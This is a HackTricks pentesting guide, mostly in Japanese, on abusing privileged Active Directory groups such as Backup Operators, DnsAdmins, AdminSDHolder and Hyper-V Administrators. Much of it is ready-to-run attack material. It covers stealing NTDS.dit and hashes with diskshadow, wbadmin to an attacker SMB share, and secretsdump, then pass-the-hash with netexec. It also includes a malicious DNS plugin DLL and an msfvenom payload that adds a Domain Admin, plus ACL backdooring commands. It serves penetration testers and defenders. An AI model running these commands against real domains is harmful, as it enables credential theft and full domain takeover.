hacktricks/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md

17 KiB
Raw Blame History

特権グループ

{{#include ../../banners/hacktricks-training.md}}

管理権限を持つ既知のグループ

  • Administrators
  • Domain Admins
  • Enterprise Admins

Account Operators

このグループは、ドメイン上で管理者ではないアカウントおよびグループを作成する権限を持ちます。さらに、ドメイン コントローラー (DC) へのローカルログインを可能にします。

このグループのメンバーを特定するために、次のコマンドが実行されます:

Get-NetGroupMember -Identity "Account Operators" -Recurse

新しいユーザーの追加が許可されており、DCへのローカルログインも可能です。

AdminSDHolder グループ

AdminSDHolder グループの Access Control List (ACL) は、Active Directory 内の高権限グループを含むすべての「protected groups」に対する権限を設定するため極めて重要です。この仕組みは不正な変更を防ぐことでこれらのグループのセキュリティを確保します。

攻撃者はAdminSDHolder グループの ACL を変更して標準ユーザーにフル権限を与えることでこれを悪用できます。これによりそのユーザーはすべての protected groups に対する実質的な完全な制御を得ます。もしこのユーザーの権限が変更または削除されても、システムの設計上通常1時間以内に自動的に復元されます。

メンバーの確認や権限の変更に使用されるコマンド例:

Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}

復元プロセスを迅速化するためのスクリプトが利用可能です: Invoke-ADSDPropagation.ps1.

詳細は ired.team を参照してください。

AD Recycle Bin

このグループのメンバーであると、削除された Active Directory オブジェクトを読み取ることができ、機密情報が明らかになる場合があります:

Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

ドメインコントローラへのアクセス

DC上のファイルへのアクセスは、ユーザーが Server Operators グループのメンバーでない限り制限されており、その場合アクセス権のレベルが変わります。

権限昇格

Sysinternals の PsServicesc を使うと、サービスの権限を調査・変更できます。例えば Server Operators グループは特定のサービスに対してフルコントロールを持っており、任意のコマンド実行や権限昇格を可能にします:

C:\> .\PsService.exe security AppReadiness

このコマンドは、Server Operators がフルアクセス権を持ち、サービスの操作を行って権限昇格を可能にすることを示します。

Backup Operators

Backup Operators グループのメンバーであると、SeBackup および SeRestore 権限により DC01 のファイルシステムにアクセスできます。これらの権限は、FILE_FLAG_BACKUP_SEMANTICS フラグを用いることで、明示的なアクセス許可がなくてもフォルダの横断、一覧表示、ファイルのコピーを可能にします。この処理には特定のスクリプトを使用する必要があります。

グループのメンバーを一覧表示するには、次を実行します:

Get-NetGroupMember -Identity "Backup Operators" -Recurse

ローカル攻撃

これらの特権をローカルで活用するために、次の手順を実行します:

  1. 必要なライブラリをインポートする:
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
  1. SeBackupPrivilege を有効化して検証する:
Set-SeBackupPrivilege
Get-SeBackupPrivilege
  1. 制限されたディレクトリからファイルにアクセスしてコピーする、例えば:
dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite

AD Attack

Domain Controller のファイルシステムへの直接アクセスにより、NTDS.dit データベースを盗むことができます。このデータベースにはドメインユーザーとコンピューターのすべての NTLM ハッシュが含まれています。

diskshadow.exe を使用する

  1. C ドライブのシャドウコピーを作成します:
diskshadow.exe
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
begin backup
add volume C: alias cdrive
create
expose %cdrive% F:
end backup
exit
  1. シャドウコピーから NTDS.dit をコピーする:
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

代わりに、ファイルのコピーには robocopy を使用してください:

robocopy /B F:\Windows\NTDS .\ntds ntds.dit
  1. ハッシュを取得するために SYSTEMSAM を抽出する:
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
  1. NTDS.dit からすべてのハッシュを取得する:
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
  1. 抽出後: Pass-the-Hash を使って DA へ
# Use the recovered Administrator NT hash to authenticate without the cleartext password
netexec winrm <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> -x "whoami"

# Or execute via SMB using an exec method
netexec smb <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> --exec-method smbexec -x cmd

wbadmin.exe を使用する

  1. attacker machine 上の SMB サーバー用に NTFS ファイルシステムをセットアップし、target machine 上で SMB credentials をキャッシュします。
  2. システムバックアップと NTDS.dit の抽出に wbadmin.exe を使用します:
net use X: \\<AttackIP>\sharename /user:smbuser password
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
wbadmin get versions
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl

実践的なデモは DEMO VIDEO WITH IPPSEC を参照してください。

DnsAdmins

DnsAdmins グループのメンバーは、その権限を悪用して、Domain Controllers 上でホストされていることが多い DNS サーバー上で SYSTEM 特権により任意の DLL をロードすることができます。これは重大な悪用の可能性をもたらします。

DnsAdmins グループのメンバーを列挙するには、次を使用します:

Get-NetGroupMember -Identity "DnsAdmins" -Recurse

Execute arbitrary DLL (CVE202140469)

Note

この脆弱性により、DNSサービス通常はDCs内でSYSTEM権限で任意のコードを実行できます。この問題は2021年に修正されました。

メンバーは、以下のようなコマンドを使用して、DNSサーバーに任意のDLLローカルまたはリモート共有からを読み込ませることができます

dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:

# If dnscmd is not installed run from aprivileged PowerShell session:
Install-WindowsFeature -Name RSAT-DNS-Server -IncludeManagementTools
// Modify DLL to add user
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
}
// Generate DLL with msfvenom
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll

DLLを読み込むには、DNSサービスの再起動追加の権限が必要な場合がありますが必要です:

sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns

この攻撃ベクターの詳細については、ired.teamを参照してください。

Mimilib.dll

コマンド実行のためにmimilib.dllを利用することも可能で、特定のコマンドや reverse shells を実行するように改変できます。 Check this post for more information.

WPAD Record for MitM

DnsAdmins は global query block list を無効化した後に WPAD レコードを作成することで、Man-in-the-Middle (MitM) 攻撃を行うために DNS レコードを操作できます。Responder や Inveigh のようなツールは、spoofing やネットワークトラフィックのキャプチャに使用できます。

### Event Log Readers メンバーはイベントログにアクセスでき、平文パスワードやコマンド実行の詳細などの機密情報を見つける可能性があります:

# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}

Exchange Windows Permissions

このグループはドメインオブジェクトのDACLsを変更でき、DCSync権限を付与する可能性があります。Exchange-AD-Privesc GitHub repo に、このグループを悪用した権限昇格の手法が詳述されています。

# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse

Hyper-V Administrators

Hyper-V Administrators は Hyper-V への完全なアクセス権を持っており、これを悪用して仮想化されたドメインコントローラーを制御することができます。これには、稼働中の DC のクローン作成や NTDS.dit ファイルからの NTLM ハッシュ抽出が含まれます。

Exploitation Example

Firefox の Mozilla Maintenance Service は Hyper-V Administrators によって悪用され、SYSTEM としてコマンドを実行させることができます。これは、保護された SYSTEM ファイルへのハードリンクを作成し、それを悪意のある実行ファイルに置き換えることを伴います:

# Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
sc.exe start MozillaMaintenance

Note: Hard link exploitation has been mitigated in recent Windows updates.

Group Policy Creators Owners

このグループのメンバーはドメイン内で Group Policies を作成できます。ただし、メンバーはユーザーやグループに group policies を適用したり、既存の GPOs を編集したりすることはできません。

Organization Management

In environments where Microsoft Exchange is deployed, a special group known as Organization Management holds significant capabilities. This group is privileged to access the mailboxes of all domain users and maintains full control over the 'Microsoft Exchange Security Groups' Organizational Unit (OU). This control includes the Exchange Windows Permissions group, which can be exploited for privilege escalation.

Privilege Exploitation and Commands

Print Operators

Members of the Print Operators group are endowed with several privileges, including the SeLoadDriverPrivilege, which allows them to log on locally to a Domain Controller, shut it down, and manage printers. To exploit these privileges, especially if SeLoadDriverPrivilege is not visible under an unelevated context, bypassing User Account Control (UAC) is necessary.

このグループのメンバーを一覧表示するには、次の PowerShell コマンドを使用します:

Get-NetGroupMember -Identity "Print Operators" -Recurse

より詳細なエクスプロイト手法(SeLoadDriverPrivilege に関連する)については、特定のセキュリティ資料を参照してください。

リモートデスクトップユーザー

このグループのメンバーは Remote Desktop Protocol (RDP) を介して PC へのアクセス権が付与されています。これらのメンバーを列挙するには、PowerShell コマンドが利用できます:

Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"

RDP を悪用するさらなる洞察は、専用の pentesting リソースにあります。

リモート管理ユーザー

メンバーは Windows Remote Management (WinRM) を介して PC にアクセスできます。これらのメンバーの列挙は次の方法で行われます:

Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"

WinRM に関連するエクスプロイト手法については、個別のドキュメントを参照してください。

Server Operators

このグループは、Domain Controllers に対してバックアップおよび復元の権限、システム時刻の変更、システムのシャットダウンなど、さまざまな構成を行う権限を持ちます。メンバーを列挙するには、以下のコマンドを実行します:

Get-NetGroupMember -Identity "Server Operators" -Recurse

参考文献

{{#include ../../banners/hacktricks-training.md}}